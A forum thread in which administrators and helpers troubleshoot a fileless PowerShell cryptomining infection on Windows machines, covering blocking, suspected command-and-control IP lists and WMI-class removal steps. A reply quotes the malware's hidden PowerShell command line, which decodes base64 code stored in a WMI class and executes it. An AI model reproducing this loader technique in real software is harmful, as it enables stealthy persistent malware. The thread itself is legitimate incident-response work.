powershell virus

Hi ,

Powershell related threats are being detected by Sophos as  HPmal/WMIPOW-A, HPmal/HPWMIJS-A, HPmal/mPShl32-A & HPmal/mPShl64-A

As jak mentioned Using Process Explorer, identify which exe is spawning Powershell.exe to see if we are dealing with any new variant of the known/ Unknown threats. You can contact our support for assistance in this regards so that if it is found to be a new variant, we will be able to have the definitions in place.

Hi ,

Powershell related threats are being detected by Sophos as  HPmal/WMIPOW-A, HPmal/HPWMIJS-A, HPmal/mPShl32-A & HPmal/mPShl64-A

As jak mentioned Using Process Explorer, identify which exe is spawning Powershell.exe to see if we are dealing with any new variant of the known/ Unknown threats. You can contact our support for assistance in this regards so that if it is found to be a new variant, we will be able to have the definitions in place.

Hi Gowtham,

Thanks for help, I will contact to support for this.

Thanks a lot!

Chuck

Hi Gowtham,

I have contacted the support for help on this, but support ask me to upload the copy of file to analysis. I confuse what is the file should I upload. So I reply "i have no sample file to upload"

I use SEC and Virus Removal Tool scan the system but nothing detected. Maybe this is new variant of threats？

What should I provide to confirm the threat? This is the first time to do this thing, So I need your support.

Thanks again!

Chuck

Hello Chuck,

your original post shows Symantec Protection Detection Results, correct? As you say I use SEC - are both products on the machines in question (if so, how did you do this)? Are you using Symantec (which product exactly) as second opinion scanner or do both real-time/on-access scanning?

what should I provide
the screenshot suggests that Symantec has cleaned the "subordinate" threats (apparently not the one that abuses PowerShell - there's likely a hijacked process, perhaps svchost.exe, involved) by deleting them. Thus, naturally, there's no sample to submit. You can likely configure the Symantec scanner so that it doesn't attempt a cleanup/deletion. Dunno if it would then leave the file alone or quarantine it by encrypting it. If the latter if you turn it off (or don't use it) and this should leave the xxxxxxx.0.cs files in the %Temp% directory.

Christian

Hi Christian,

We have replace Symantec by SEC, but only one Symantec protection can not remove. I try several times and several ways to remove and it did not say goodbye to me. I have not ideas about this one. And it report the virus this time.

I set a software Restriction Policy in group policy to prevent powershell.exe start, so all computer working good so far.

I try to find sample file in computer with SES, but I can not find the *.cs and *.dll file. I release some computers from the OU with Software Restriction Policy to see if *.cs and *.dll appear.

Below is the information I can provide so far.

1. this is the same virus detect by McAfee (screenshot from other company), just FYI.

2. The virus contact 20 more IP address (remote port is 80, 14444) and IP address as below,

195.22.127.93
195.22.129.157
93.174.93.73
79.137.82.5
213.32.29.143
5.196.13.29
198.251.88.21
51.255.34.118
5.196.23.240
151.80.144.253
164.132.109.110
92.222.180.119
217.182.169.148
51.15.54.102
78.46.91.134
172.104.165.191
139.99.102.71
103.3.62.64
139.99.102.72
139.99.102.73
139.99.102.74
139.99.102.70
46.105.103.169
37.59.56.102
45.32.71.82
139.99.101.198
139.99.101.197
149.202.42.174

So, Thanks for your help. I will keep update.

Best regards,

Chuck

Hello Chuck,

I release some computers
yes, you have to "sacrifice" one. It's not clear what the Trojan is up to but a number of these addresses is not absolutely clean according to VirusTotal.

Many vendors use their own nomenclature, there's no general mapping of names so unfortunately another vendor's detection doesn't help much. And naturally it's impossible to say why some, apart from the fact another vendor detects it as somethreat, unknown thing is not detected.
Do you have Malicious Traffic Detection enabled in the AV policy?

Christian

Hi ChuckYu,

Support would be interested in analyzing the file that could be causing the High CPU usage in the clients. I have left a note to the Support engineer to extend his assistance in finding the suspicious file/script could be using PowerShell. We can use windows Sysinternals tools to find it. For a start, I would suggest you check the Scheduled task for any unknown/ suspicious task.

Process Monitor can also help you in capturing the events details. 

Hi Gowtham,

Sorry for reply late, I still cannot get the sample of virus these days.

I use the Process Monitor to capture log of powershell but I cannot understood the file.

Maybe this log file can help on this case.

Thanks a lot!

Chuckpowershell.zip

Hello Chuck,

you've filtered for just the Powershell process, haven't you? As far as I can see it receives about 250 bytes over the HTTP connection to  ns320600.ip-37-187-154.eu but it does neither write to a file nor set a registry key/value. You say there are now no .cs files to be found in C:\Windows\Temp\?

As the process runs as SYSTEM it's likely started a boot up - Autoruns should help to find how it's started and what is involved, likely a file that lurks somewhere.

Christian

We have already experienced something similar to this previously with another malware on December. Opened a ticket and also a topic, but Sophos just discarded it was their issue (community.sophos.com/.../364303. It seems Sophos is still not aware of Fileless infection and this is something to worry about. 

I would recommend this article, but it is in Portuguese, maybe you can find something useful by translating it with Google: https://morphuslabs.com/wannamine-faz-v%C3%ADtimas-no-brasil-fb9b674fc908. You will see some URLs on port 14444 that, if you query DNS, will match the IPs you provided. You can also try removing the malware with KVRT (Kaspersky Virus Removal Tool).

You can also check Network Resource Monitor and see what IP exactly powershell is requesting and BLOCK those IPs being accessed on port 80 on your firewall. But, you will only be able to see 1 IP each time the process starts (I found a total of 6 iPs). This will prevent CPU to get to 100%, but this will not heal the machine completely. The powershell will still executes, but will not reach the destination and will not consome CPU, but a little bit of memory. Here are the IPs we have been dealing with and is already blocked on our firewall: 

94.130.65.216
94.130.65.208
94.130.65.214
94.130.65.207
94.130.65.210
94.130.65.215

We are experiencing the same here and as it was told, Sophos SOMETIMES is blocking the powershell execution, and IT IS NOT HEALING/CLEANING the malware... so there are a LOT OF EVENTS informing that it was blocked on most of the machines. Probably because this is a fileless infection and Sophos cannot find the issue. There is no standard behavior on the period it is running, sometimes it runs hourly, 30 to 30 minutes or 40 to 40 minutes... Haven`t find anything so far.

So the question is, how can we solve and heal the machines? Can any Sophos expert help us on this?

Hi,

Given the command line I see in the Process Monitor log:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "$mon = ([WmiClass] 'root\default:systemcore_Updater').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:systemcore_Updater').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command  -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void', 0, '', '')"

In an admin Powershell command prompt what do the following 2 commands pipe out:

([WmiClass] 'root\default:systemcore_Updater').Properties['funs'].Value > C:\funsvalue.txt

([WmiClass] 'root\default:systemcore_Updater').Properties['mon'].Value > C:\monvalue.txt

Can you attach C:\funsvalue.txt abd C:\monvalue.txt?  I assume funsvalue.txt will be base64 encoded but that's fine I can decode that.

For example, I can create a new class under "root\default" called "systemcore_Updater" with the following 3 Powershell lines entered into a an administrative Powershell prompt:

$newClass = New-Object System.Management.ManagementClass("root\DEFAULT", [String]::Empty, $null);
$newClass["__CLASS"] = "systemcore_Updater";
$newClass.Put()

The output after hitting enter on the 3rd command will be:

Path : \\.\root\DEFAULT:systemcore_Updater
RelativePath : systemcore_Updater
Server : .
NamespacePath : root\DEFAULT
ClassName : systemcore_Updater
IsClass : True
IsInstance : False
IsSingleton : False

You could delete this same newly created class with the following PS command:

Remove-WmiObject -Class systemcore_Updater -Namespace root\DEFAULT

It maybe that all you need to do is run the above command to remove where the malware code is stored but it would be good to dump out the contents above first to see what you're dealing with.

It could be that something re-creates the WMI class, maybe re-query the classes under the root\Default namespace having removed it to check it doesn't return.  To do so the following will list all classes under the root\DEFAULT namespace which contain the characters sys.

Get-WmiObject -Namespace root\DEFAULT -list *sys*

Regards,
Jak

P.S. In the meantime, is it worth sending out a App Control policy to prevent Powershell.exe running at this point, at least while understanding what is going on and to a subset of affected clients?  Unless you know your users are running Powershell or you have software that replies on calling it.  This could stop it coming back whilst trying to remove the WMI classes it may have created to store the code.